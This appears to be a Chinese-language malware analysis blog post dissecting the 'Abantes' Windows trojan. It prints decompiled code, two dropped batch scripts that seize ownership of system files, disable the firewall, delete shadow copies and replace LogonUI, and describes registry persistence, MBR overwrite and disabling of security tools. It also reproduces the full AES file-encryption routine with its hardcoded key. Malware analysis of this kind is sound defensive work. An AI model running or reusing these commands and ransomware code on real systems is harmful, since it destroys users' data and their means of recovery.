Abantes样本分析报告
System-Administartor
2025-09-13 19:49:31
0

1.文件分析文件信息

名称: Abantes.exe
大小: 2271744 字节 (2218 KiB)
CRC32: 93D8F7FE
CRC64: C9B45FB7B64F442B
SHA256: cf8ef09c5380a2a6e1ccb0210d6ba9707b3e07d2a650d1abe31dc4b80392f742
SHA1: 3f5e8c3945ab7ff8d32c25a65b12d0c538ab0688
BLAKE2sp: 9e7c5d4fa59a6fa3365f9c37fa464aff8cf24ae0ec35049cc96110f6778465cc
XXH64: 7E25F27C8785FA03



使用ExeInfoPE打开

程序本身没有加壳,并且是使用net framework编写

用DNSPY打开


程序入口点位于Abantes.Start.Main
代码如下:




代码主要功能
首先通过 Environment.OSVersion 和 Version.Major、Version.Minor 检查操作系统的版本。
特别是检查操作系统是否为 Windows NT (PlatformID.Win32NT)。
根据检测到的操作系统版本(major 和 minor 版本),设置字符串 a 来表示运行的是哪个版本的 Windows ("10"、"8" 或 "8.1")。
[mw_shl_code=csharp,true]// 获取当前操作系统的版本信息
OperatingSystem osInfo = Environment.OSVersion;
int major = osInfo.Version.Major;  // 获取操作系统的主版本号
int minor = osInfo.Version.Minor;  // 获取操作系统的次版本号

string a = "";  // 初始化一个空字符串变量 a

// 判断当前操作系统是否为 Windows NT 平台
if (osInfo.Platform == PlatformID.Win32NT)
{
    // 根据操作系统的主版本号和次版本号来判断具体的 Windows 版本
    if (major == 10)
    {
        a = "10";  // Windows 10
    }
    else if (major == 6 && minor == 3)
    {
        a = "8.1";  // Windows 8.1
    }
    else if (major == 6 && minor == 2)
    {
        a = "8";  // Windows 8
    }
}
[/mw_shl_code]
解释:

获取操作系统信息:

Environment.OSVersion 方法返回一个 OperatingSystem 对象,

该对象包含有关当前操作系统的版本信息。

获取主版本号和次版本号:

从 OperatingSystem 对象中提取 Version 属性,

然后分别获取 Major 和 Minor 属性。
这两个属性分别表示操作系统的主版本号和次版本号。


操作系统平台判断:

使用 osInfo.Platform == PlatformID.Win32NT 条件来确保当前操作系统是基于 Windows NT 架构的。

判断具体的 Windows 版本:

根据主版本号 major 和次版本号 minor 的组合,来确定当前运行的是哪个具体版本的 Windows 操作系统。
如果 major == 10,则表示当前操作系统是 Windows 10,此时将字符串变量 a 设置为 "10"。
如果 major == 6 且 minor == 3,则表示当前操作系统是 Windows 8.1,将 a 设置为 "8.1"。
如果 major == 6 且 minor == 2,则表示当前操作系统是 Windows 8,将 a 设置为 "8"。

总结:


这段代码的目的是根据当前运行的操作系统版本来设定一个字符串变量 a,以便后续根据不同的操作系统版本执行不同的逻辑。这种方式可以帮助程序根据操作系统的特定行为或兼容性进行调整和优化。

无论操作系统版本如何,代码接着创建了一个 MainThread 的实例(可能是一个窗体或主线程)。
配置这个窗体 (MainThread) 为隐藏在屏幕外 (Location = new Point(-2000, -2000),Size = new Size(1, 1))。

最后,如果确定系统为Win7,

设置 MainThread 的一些属性(如 FormBorderStyle、ShowInTaskbar、StartPosition),
并使用 Application.Run(mainThread) 运行应用程序。
MainThread部分

这段代码的作用是检查当前计算机上是否已经运行了名为 "Abantes" 的进程,

如果已经有多于一个实例在运行,则立即终止当前进程。
接下来检测2个注册表

这段代码用于检查注册表中是否存在名为 "Debug" 的值,并且该值不为空,

然后检查的是名为 "DebugInfectMsg" 的注册表值是否为空
如果存在名为 "Debug" 的值,并且该值不为空,并且名为 "DebugInfectMsg" 的注册表值为空
就会启动调试模式,弹出一个消息框INFECT SYSTEM?
点击否程序结束,点击是继续运行

接下来是释放文件

检测HKEY_LOCAL_MACHINE\\Software\\Abantes"中的"AbantesWasHere“是否存在
如果不存在就释放文件:


Directory.CreateDirectory("C:\\Windows\\Defender");


创建目录("C:\\Windows\\Defender")

File.WriteAllText(text + "\\Action.bat", Resources.Action);


用于获取文件的权限和替换MUI文件
内容如下
[mw_shl_code=asm,true]@echo on
cd\&cd Windows\System32
takeown /f logonui.exe
icacls logonui.exe /granted %username%:F
takeown /f "C:\Windows\System32\en-US" /r /d y
icacls "C:\Windows\System32\en-US" /granted %username%:F /T /C
cd\&cd Windows
takeown /f explorer.exe
takeown /f regedit.exe
takeown /f HelpPane.exe
takeown /f "C:\Windows\Temp" /r /d y
takeown /f "C:\Windows\en-US" /r /d y
icacls "C:\Windows\Temp" /granted %username%:F /T /C
icacls "C:\Windows\en-US" /granted %username%:F /T /C
icacls regedit.exe /granted %username%:F
icacls explorer.exe /granted %username%:F
icacls HelpPane.exe /granted %username%:F
wmic useraccount where name='%username%' set FullName='Abantes Was Here'
wmic useraccount where name='%username%' rename 'Abantes Was Here'
NetSh Advfirewall set allprofiles state off
vssadmin delete shadows /all /quiet
taskkill /f /im explorer.exe
TIMEOUT 1
copy "C:\Windows\Defender\authui.dll.mui" "C:\Windows\System32\en-US\authui.dll.mui" /Y
copy "C:\Windows\Defender\explorer.exe.mui" "C:\Windows\en-US\explorer.exe.mui" /Y
TIMEOUT 2
[/mw_shl_code]

更改文件和文件夹的所有权:
takeown /f 命令用于获取文件或文件夹的所有权。
icacls 用来更改文件的访问权限,允许当前用户对文件或文件夹进行完全控制 (/granted %username%:F).
关闭防火墙:

NetSh Advfirewall set allprofiles state off 命令关闭所有网络配置文件的防火墙。
删除卷影副本:
vssadmin delete shadows /all /quiet 用于删除所有卷影副本,这些副本通常用于恢复系统文件。
结束进程:
taskkill /f /im explorer.exe 强制结束 explorer.exe 进程,这会导致桌面界面消失。
复制和替换文件:
copy 命令将文件从一个位置复制到另一个位置,且使用 /Y 强制覆盖目标文件。
更改用户名:
wmic useraccount 命令可以更改当前用户的姓名和全名。
更改系统文件和权限:
通过以上命令修改了与登录、资源管理器、注册表、帮助面板相关的系统文件的权限。




File.WriteAllText(text + "\\logonOverwrite.bat", Resources.LogonOverwrite);


用于覆盖C:\Windows\System32\logonUI.exe
内容如下
[mw_shl_code=asm,true]@echo on
cd\&cd Windows\System32
takeown /f logonui.exe
icacls logonui.exe /granted %username%:F
takeown /f "C:\Windows\Temp" /r /d y
icacls "C:\Windows\Temp" /granted %username%:F /T /C
copy "C:\Windows\Defender\LogonUIStart.exe" "C:\Windows\System32\LogonUI.exe" /Y
copy "C:\Windows\Defender\LogonUi.exe" "C:\Windows\Temp\LogonUi.exe" /Y[/mw_shl_code]

takeown: 该命令用来获取指定文件或文件夹的所有权。比如这里用来获取 logonui.exe 文件的所有权。
icacls: 用来设置文件或文件夹的访问控制列表(ACL),将完全访问权限(F)授予当前用户。
copy: 将一个文件复制到另一个位置,覆盖目标位置已有的文件。
具体来看,脚本的操作是:

1。获取 logonui.exe 文件和 C:\Windows\Temp 文件夹的所有权。
2。赋予当前用户对这些文件夹和文件的完全访问权限。
3。然后将 LogonUIStart.exe 和 LogonUi.exe 从 C:\Windows\Defender 目录复制到系统文件夹和临时文件夹中,覆盖已有的文件。


File.WriteAllBytes(text + "\\cursor.cur", Resources.creepy_mouse);


鼠标指针


File.WriteAllBytes(text + "\\icon.ico", Resources.icon);


用于修改EXE文件默认图标

File.WriteAllBytes(text + "\\LogonUIStart.exe", Resources.LogonUI_Start);


用于启动C:\Windows\Defender\LogonUI.exe


File.WriteAllBytes(text + "\\IFEO.exe", Resources.IFEODebugger);


映像劫持的文件
打开后提示消息框

File.WriteAllBytes(text + "\\Payloads.dll", Resources.Payloads);


DLL文件,用于在屏幕上输出特效,并且有蓝屏和覆盖MBR的功能

File.WriteAllBytes(text + "\\Rules.exe", Resources.Rules);


一个提示框,内容如下

File.WriteAllBytes(text + "\\LogonUi.exe", Resources.LogonUI);

用于替换系统的LogonUI程序

File.WriteAllBytes(text + "\\explorer.exe.mui", Resources.explorer_exe);
File.WriteAllBytes(text + "\\authui.dll.mui", Resources.authui_dll);


2个MUI文件
MUI文件是Windows操作系统中的一种多语言用户界面(MUI,Multilingual User Interface)文件,
它的作用是提供多语言支持。
这些文件允许Windows操作系统根据用户选择的语言来显示不同的界面内容,
比如菜单、对话框和按钮的文本。

File.WriteAllBytes(text + "\\data.bin", Resources.data);



MBR数据
接下来修改桌面壁纸


接下来是修改注册表:

· 修改EXE和TXT文件的默认图标
· 通过修改 Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System中

legalnoticecaption和legalnoticetext两个值达到在系统登录时显示提示的效果提示的内容如下:
Welcome To Hell  //对应legalnoticecaption
This Computer has been Infected by the Abantes Trojan. Hope You Enjoy. //对应legalnoticetext
接下来通过修改注册表的方式禁用控制面板
registryKey6.SetValue("NoControlPanel", "1");

通过将AutoRestartShell设置为0达到禁用自动重新启动 Windows Shell (如 Explorer.exe)。

将自身放到UserINIT达到开机自启动
关闭UAC

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\EnableLUA"

禁用任务管理器

接下来通过映像劫持禁止下面的这些程序启动


regedit.exe:Windows注册表编辑器,用于查看和修改系统注册表。
notepad.exe:记事本程序,允许用户编辑纯文本文件。
HelpPane.exe:Windows帮助程序,提供操作系统的帮助和支持文档。
calc.exe:Windows计算器应用程序,提供基本的数学计算功能。
mspaint.exe:Windows画图工具,用于简单的图像编辑。
DVDMaker.exe:Windows DVD制作工具,用于将视频文件刻录到DVD。
wmplayer.exe:Windows Media Player,媒体播放器,用于播放音频和视频文件。
wordpad.exe:Windows自带的文字处理软件,支持基本的文本格式化。
SnippingTool.exe:截图工具,用于截取屏幕截图。
WindowsAnytimeUpgradeui.exe:Windows Anytime Upgrade,允许用户升级Windows版本。
WindowsAnytimeUpgrade.exe:同上,用于Windows版本升级。
StikyNot.exe:Windows便签程序,允许用户创建简单的文本便签。
ehshell.exe:Windows Media Center主程序,提供数字电视、视频播放等功能。
xpsrchvw.exe:XPS查看器,用于查看XPS文档(Microsoft的XML Paper Specification)。
mstsc.exe:远程桌面连接,允许用户通过网络连接到远程计算机。
chrome.exe:Google Chrome浏览器,提供网页浏览功能。
opera.exe:Opera浏览器,提供网页浏览功能。
firefox.exe:Mozilla Firefox浏览器,提供网页浏览功能。
iexplore.exe:Internet Explorer浏览器,微软的网页浏览器(虽然已被Edge取代,但仍在某些系统中存在)。
MicrosoftEdgeCP.exe:Microsoft Edge浏览器的后台进程,用于支持浏览器的各种功能。
MicrosoftEdge.exe:Microsoft Edge浏览器,用于网页浏览。
resmon.exe:资源监视器,用于查看系统资源的使用情况,如CPU、内存、磁盘等。
procexp.exe:Process Explorer,Microsoft提供的一个强大的进程查看和管理工具。
procexp64.exe:64位版本的Process Explorer。mmc.exe:Microsoft Management Console(微软管理控制台)。用于提供管理工具和服务的界面,管理员可以通过它访问和使用多种系统管理工具。





接下来将所有的鼠标指针改为Abantes.Resources.creepy mouse.cur




隐藏磁盘驱动器




启动Action.bat


创建计划任务然后注销




当重新登录系统是启动2个线程和rules窗口



第一个线程是特效
第二个线程用于检测异常


以下进程必须处于运行状态
                "Rules.exe"

这些文件必须存在
                "C:\\Windows\\Defender\\Rules.exe",
                "C:\\Windows\\Defender\\Abantes.exe",
                "C:\\Windows\\Defender\\Payloads.dll",
                "C:\\Windows\\Defender\\IFEO.exe"




如果发现异常:
如:检测用户如果打开以下程序

msconfig:系统配置工具,用于管理 Windows 启动过程中的各项设置。可以启用或禁用启动项、服务和系统配置,帮助诊断和优化启动速度。
taskmgr:任务管理器,用于查看和管理正在运行的进程、应用程序、服务以及系统的资源使用情况(如 CPU、内存、磁盘、网络等)。还可以结束不响应的进程或程序。
cmd:命令提示符(Command Prompt),提供了一个命令行界面,用于运行各种命令和脚本。它允许用户与操作系统进行交互,执行管理任务和诊断工具。
taskschd:任务调度程序,用于安排和管理自动执行的任务。可以设置特定的任务在指定的时间自动运行,例如备份文件、更新系统等。
mmc:微软管理控制台(Microsoft Management Console),一个框架应用程序,可以加载各种管理工具,如计算机管理、事件查看器、组策略编辑器等。它为系统管理员提供了集中管理和配置的界面。
resmon:资源监视器,用于查看系统资源的使用情况,包括 CPU、内存、磁盘、网络等。它帮助用户了解当前哪些进程或服务占用了系统资源,有助于排除性能瓶颈。

注:这些程序是 Windows 操作系统中的常用工具,用于系统管理、任务管理和配置。


或者文件丢失
又或者 "Rules.exe"被关闭


就会启动Destructive.KillPC();


以上内容分别是
· 加密用户文件
· 覆盖LogonUI
· 修改HKLM\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\中的Shell和UserInit达到无法启动explorer而是启动前面提到的C:\\Windows\\Defender\\LogonUIStart.exe
· 删除MBR
· 删除HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_CURRENT_CONFIG中的所有数据
· 一键结束系统所有进程
· 蓝屏


以下是加密文件的相关代码




加密以下扩展名的文件
                    ".jpg",
                    ".jpeg",
                    ".raw",
                    ".tif",
                    ".gif",
                    ".png",
                    ".bmp",
                    ".3dm",
                    ".max",
                    ".accdb",
                    ".db",
                    ".dbf",
                    ".mdb",
                    ".pdb",
                    ".sql",
                    ".dwg",
                    ".dxf",
                    ".c",
                    ".cpp",
                    ".cs",
                    ".h",
                    ".php",
                    ".asp",
                    ".rb",
                    ".java",
                    ".jar",
                    ".class",
                    ".py",
                    ".js",
                    ".rar",
                    ".zip",
                    ".7zip",
                    ".7z",
                    ".dat",
                    ".csv",
                    ".efx",
                    ".sdf",
                    ".vcf",
                    ".xml",
                    ".ses",
                    ".aaf",
                    ".aep",
                    ".aepx",
                    ".plb",
                    ".prel",
                    ".prproj",
                    ".aet",
                    ".ppj",
                    ".psd",
                    ".indd",
                    ".indl",
                    ".indt",
                    ".indb",
                    ".inx",
                    ".idml",
                    ".pmd",
                    ".xqx",
                    ".xqx",
                    ".ai",
                    ".eps",
                    ".ps",
                    ".svg",
                    ".swf",
                    ".fla",
                    ".as3",
                    ".as",
                    ".txt",
                    ".doc",
                    ".dot",
                    ".docx",
                    ".docm",
                    ".dotx",
                    ".dotm",
                    ".docb",
                    ".rtf",
                    ".wpd",
                    ".wps",
                    ".msg",
                    ".pdf",
                    ".xls",
                    ".xlt",
                    ".xlm",
                    ".xlsx",
                    ".xlsm",
                    ".xltx",
                    ".xltm",
                    ".xlsb",
                    ".xla",
                    ".xlam",
                    ".xll",
                    ".xlw",
                    ".ppt",
                    ".pot",
                    ".pps",
                    ".pptx",
                    ".pptm",
                    ".potx",
                    ".potm",
                    ".ppam",
                    ".ppsx",
                    ".ppsm",
                    ".sldx",
                    ".sldm",
                    ".wav",
                    ".mp3",
                    ".aif",
                    ".iff",
                    ".m3u",
                    ".m4u",
                    ".mid",
                    ".mpa",
                    ".wma",
                    ".ra",
                    ".avi",
                    ".mov",
                    ".mp4",
                    ".3gp",
                    ".mpeg",
                    ".3g2",
                    ".asf",
                    ".asx",
                    ".flv",
                    ".mpg",
                    ".wmv",
                    ".vob",
                    ".m3u8",
                    ".mkv",
                    ".m4a",
                    ".ico",
                    ".dic",
                    ".rex",
                    ".hmg",
                    ".config",
                    ".resx",
                    ".res"




调用Encryption.FileEncrypt函数,密钥是WR8h2GIbf9FGz6VVlSzJ


以下为加解密部分全部代码
[mw_shl_code=asm,true]using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace Abantes.Utils
{
        // Token: 0x02000008 RID: 8
        internal class Encryption
        {
                // Token: 0x0600002B RID: 43 RVA: 0x000045C0 File Offset: 0x000027C0
                public static byte[] GenerateRandomSalt()
                {
                        byte[] array = new byte[32];
                        using (RNGCryptoServiceProvider rngcryptoServiceProvider = new RNGCryptoServiceProvider())
                        {
                                for (int i = 0; i < 10; i++)
                                {
                                        rngcryptoServiceProvider.GetBytes(array);
                                }
                        }
                        return array;
                }

                // Token: 0x0600002C RID: 44 RVA: 0x0000460C File Offset: 0x0000280C
                public static void FileEncrypt(string inputFile, string password)
                {
                        byte[] array = Encryption.GenerateRandomSalt();
                        FileStream fileStream = new FileStream(inputFile + ".Abantes", FileMode.Create);
                        byte[] bytes = Encoding.UTF8.GetBytes(password);
                        RijndaelManaged rijndaelManaged = new RijndaelManaged();
                        rijndaelManaged.KeySize = 256;
                        rijndaelManaged.BlockSize = 128;
                        rijndaelManaged.Padding = PaddingMode.PKCS7;
                        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
                        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                        rijndaelManaged.Mode = CipherMode.CFB;
                        fileStream.Write(array, 0, array.Length);
                        CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
                        FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
                        byte[] array2 = new byte[1048576];
                        try
                        {
                                int count;
                                while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0)
                                {
                                        Application.DoEvents();
                                        cryptoStream.Write(array2, 0, count);
                                }
                                fileStream2.Close();
                        }
                        catch (Exception ex)
                        {
                                Console.WriteLine("Error: " + ex.Message);
                        }
                        finally
                        {
                                cryptoStream.Close();
                                fileStream.Close();
                        }
                }

                // Token: 0x0600002D RID: 45 RVA: 0x00004740 File Offset: 0x00002940
                public static void FileDecrypt(string inputFile, string outputFile, string password)
                {
                        byte[] bytes = Encoding.UTF8.GetBytes(password);
                        byte[] array = new byte[32];
                        FileStream fileStream = new FileStream(inputFile, FileMode.Open);
                        fileStream.Read(array, 0, array.Length);
                        RijndaelManaged rijndaelManaged = new RijndaelManaged();
                        rijndaelManaged.KeySize = 256;
                        rijndaelManaged.BlockSize = 128;
                        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
                        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                        rijndaelManaged.Padding = PaddingMode.PKCS7;
                        rijndaelManaged.Mode = CipherMode.CFB;
                        CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Read);
                        FileStream fileStream2 = new FileStream(outputFile, FileMode.Create);
                        byte[] array2 = new byte[1048576];
                        try
                        {
                                int count;
                                while ((count = cryptoStream.Read(array2, 0, array2.Length)) > 0)
                                {
                                        Application.DoEvents();
                                        fileStream2.Write(array2, 0, count);
                                }
                        }
                        catch (CryptographicException ex)
                        {
                                Console.WriteLine("CryptographicException error: " + ex.Message);
                        }
                        catch (Exception ex2)
                        {
                                Console.WriteLine("Error: " + ex2.Message);
                        }
                        try
                        {
                                cryptoStream.Close();
                        }
                        catch (Exception ex3)
                        {
                                Console.WriteLine("Error by closing CryptoStream: " + ex3.Message);
                        }
                        finally
                        {
                                fileStream2.Close();
                                fileStream.Close();
                        }
                }
        }
}
[/mw_shl_code]



当使用上述代码进行文件加密和解密时,涉及到几个关键的步骤和流程。下面分别详细描述加密和解密的流程:加密流程 (FileEncrypt 方法)

  • 生成随机盐:
    • 使用 GenerateRandomSalt() 方法生成一个长度为 32 字节的随机盐。盐在密码学中用于增加每个密码的唯一性,从而增强安全性。
  • 打开输出文件流:
    • 使用 FileStream 打开一个新文件,文件名为原始输入文件名加上 .Abantes 后缀。这个文件将用来存储加密后的数据。
  • 生成密钥和 IV:
    • 使用 Rfc2898DeriveBytes 类基于用户提供的密码和生成的随机盐来派生密钥和初始化向量 (IV)。这里使用了 50000 次迭代来增加密码派生的复杂性和安全性。
  • 配置加密算法:
    • 创建 RijndaelManaged 对象,设置密钥大小为 256 位,块大小为 128 位,填充模式为 PaddingMode.PKCS7,加密模式为 CipherMode.CFB。这些参数定义了 AES 加密算法的使用方式。
  • 写入盐:
    • 将生成的随机盐写入到输出文件流的开头。盐的存在使得每个文件的加密结果唯一。
  • 创建加密流:
    • 使用 CryptoStream 创建一个流,该流连接到输出文件流,并使用 RijndaelManaged 创建的加密器进行加密操作。
  • 读取和加密文件:
    • 打开原始输入文件的 FileStream,读取文件内容,并使用 CryptoStream 将读取的数据进行加密。加密后的数据会直接写入到输出文件流中。
  • 关闭流:
    • 关闭 CryptoStream 和文件流,释放资源。

解密流程 (FileDecrypt 方法)

  • 读取盐:
    • 打开加密后的输入文件(文件名由用户提供),读取开头的 32 字节作为盐。这个盐与加密时写入的盐对应。
  • 生成密钥和 IV:
    • 使用与加密过程中相同的方法,即使用 Rfc2898DeriveBytes 类基于用户提供的密码和读取的盐来派生密钥和 IV。
  • 配置解密算法:
    • 创建 RijndaelManaged 对象,设置相同的密钥大小、块大小、填充模式和加密模式。
  • 创建解密流:
    • 使用 CryptoStream 创建一个流,连接到加密后的输入文件流,并使用 RijndaelManaged 创建的解密器进行解密操作。
  • 写入解密后的文件:
    • 创建一个新的 FileStream,用于写入解密后的数据,文件名由用户提供。通过 CryptoStream 读取加密后的输入文件流的数据,并将解密后的明文写入到新文件中。
  • 关闭流:
    • 关闭 CryptoStream 和文件流,释放资源。

关键点说明:

  • 密钥和 IV 的派生:
    • 使用 Rfc2898DeriveBytes 类基于密码和盐来生成固定长度的密钥和 IV。这种方式确保了加密和解密时所使用的密钥和 IV 是一致的,同时增强了对密码的保护。
  • 加密算法设置:
    • AES 算法的参数设置包括密钥大小、块大小、填充模式和加密模式。这些参数需要在加密和解密时保持一致,以确保正确的加解密操作。
  • 流的使用:
    • 使用 CryptoStream 可以方便地将加密和解密操作集成到文件处理流程中,同时避免一次性将整个文件内容加载到内存中,适用于处理大文件。
  • 异常处理:
    • 使用 try-catch 块捕获可能发生的异常,如密码错误或文件读写问题,以便及时处理并给出反馈。

这些步骤构成了一个基本的文件加密和解密流程,适用于需要保护敏感数据的应用场景,同时提供了良好的安全性和可靠性。

上一篇:Minecraft 服务器

下一篇:没有了

相关内容

热门资讯

2025-07 注册永久免费域... 今天给大家推荐一个稳定又非常不错的免费域名注册方案,来自非盈利组织:digitalplat,申请注册...
WinRAR 爆出高危安全漏洞... 趋势科技近日收到来自安全研究员 whs3-detonator 的私密报告,指出知名压缩管理器 Win...
恶意软件分析报告 Mandel... 恶意软件分析报告 Mandela.exe名称: Mandela.exe大小: 15917568 字节...
MoonTV 一个开箱即用、... 🎬 MoonTV 是一个开箱即用、跨平台的影视聚合播放器。基于 Next.js 14 + Tailw...
PHP 备忘清单 这份 PHP 备忘单为快速查找最常用代码的正确语法提供了参考
FFmpeg_Batch_A... 所有内容均来源于网络,仅供于学习和交流的使用严禁商用和倒卖如有侵权请联系我们删除【软件介绍】FFmp...
Abantes样本分析报告 1.文件分析文件信息名称: Abantes.exe大小: 2271744 字节 (2218 KiB)...
Minecraft 服务器 当前IP地址(端口):7435.3b8ch.73327424.dpdns.org:26796107....